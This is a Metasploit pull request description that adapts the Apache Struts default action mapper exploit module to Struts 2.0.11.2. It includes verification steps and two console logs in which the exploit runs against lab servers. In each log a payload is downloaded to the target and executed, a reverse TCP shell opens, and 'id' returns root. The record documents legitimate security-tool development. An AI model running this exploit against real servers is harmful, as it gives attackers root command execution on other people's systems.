rapid7/metasploit-framework — pull request #2658 by jvazquez-r7 (2013-11-20 18:46:48+00:00)
Title: Make OGNL expressions compatible with struts 2.0.11.2

History here: http://dev.metasploit.com/redmine/issues/8693

The proposed patch makes ognl expressions compatible with 2.0.11.2 indeed :)

Verification steps:

- [ ] Install tomcat 7
- [ ] Install struts2-blank from struts 2.3.15 and 2.0.11.2
- [ ] Run the module like on the Test section, enjoy sessions targeting both versions:

Test:

* struts 2.3.15

```
msf exploit(struts_default_action_mapper) > show options

Module options (exploit/multi/http/struts_default_action_mapper):

Name Current Setting Required Description
---- --------------- -------- -----------
HTTP_DELAY 60 yes Time that the HTTP Server will wait for the payload request
Proxies no Use a proxy chain
RHOST 192.168.172.134 yes The target address
RPORT 8080 yes The target port
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /struts2-blank/example/HelloWorld.action yes Action URI
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
WritableDir /tmp yes A directory where we can write files (only on Linux targets)

Payload options (linux/x86/shell/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(struts_default_action_mapper) > check
[+] The target is vulnerable.
rmsf exploit(struts_default_action_mapper) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.134:8080 - Target autodetection...
[+] 192.168.172.134:8080 - Linux target found!
[*] 192.168.172.134:8080 - Starting up our web service on 192.168.172.1:8080 ...
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://10.6.0.165:8080/
[*] 192.168.172.134:8080 - Downloading payload to /tmp/dQkCpiVhbLUgW...
[*] 192.168.172.134:8080 - Waiting for the victim to request the payload...
[*] 192.168.172.134:8080 - Sending the payload to the server...
[*] 192.168.172.134:8080 - Make payload executable...
[*] 192.168.172.134:8080 - Execute payload...
[*] Sending stage (36 bytes) to 192.168.172.134
[*] Command shell session 5 opened (192.168.172.1:4444 -> 192.168.172.134:46633) at 2013-11-20 12:46:11 -0600
[+] Deleted /tmp/dQkCpiVhbLUgW
[*] Server stopped.

3641057079
YtlGuaegmuWoCpeKoHoFXWsHcQKQqoLP
KlbTUeCMzRPaDDLiQwBMjAMwGwIsMumT
id
uid=0(root) gid=0(root) groups=0(root)
^C
Abort session 5? [y/N] y

[*] 192.168.172.134 - Command shell session 5 closed. Reason: User exit
msf exploit(struts_default_action_mapper) >
```

* 2.0.11.2

```
msf exploit(struts_default_action_mapper) > set TARGETURI /struts2-blank-2.0.11.2/example/HelloWorld.action
TARGETURI => /struts2-blank-2.0.11.2/example/HelloWorld.action
msf exploit(struts_default_action_mapper) > reload
[*] Reloading module...
check
exploit
msf exploit(struts_default_action_mapper) > check
[+] The target is vulnerable.
msf exploit(struts_default_action_mapper) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.134:8080 - Target autodetection...
[+] 192.168.172.134:8080 - Linux target found!
[*] 192.168.172.134:8080 - Starting up our web service on 192.168.172.1:8080 ...
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://10.6.0.165:8080/
[*] 192.168.172.134:8080 - Downloading payload to /tmp/eAdDqyaBBRDS...
[*] 192.168.172.134:8080 - Waiting for the victim to request the payload...
[*] 192.168.172.134:8080 - Sending the payload to the server...
[*] 192.168.172.134:8080 - Make payload executable...
[*] 192.168.172.134:8080 - Execute payload...
[*] Sending stage (36 bytes) to 192.168.172.134
[*] Command shell session 6 opened (192.168.172.1:4444 -> 192.168.172.134:46635) at 2013-11-20 12:46:39 -0600
[+] Deleted /tmp/eAdDqyaBBRDS
[*] Server stopped.

501868376
bbJwAxArRushFuQTXGRgxzwwdZGVOaCB
YOMVVJQRLhGUSbYXSBWEpsxvTgHOwRlQ
id
uid=0(root) gid=0(root) groups=0(root)
^C
Abort session 6? [y/N] y

[*] 192.168.172.134 - Command shell session 6 closed. Reason: User exit
```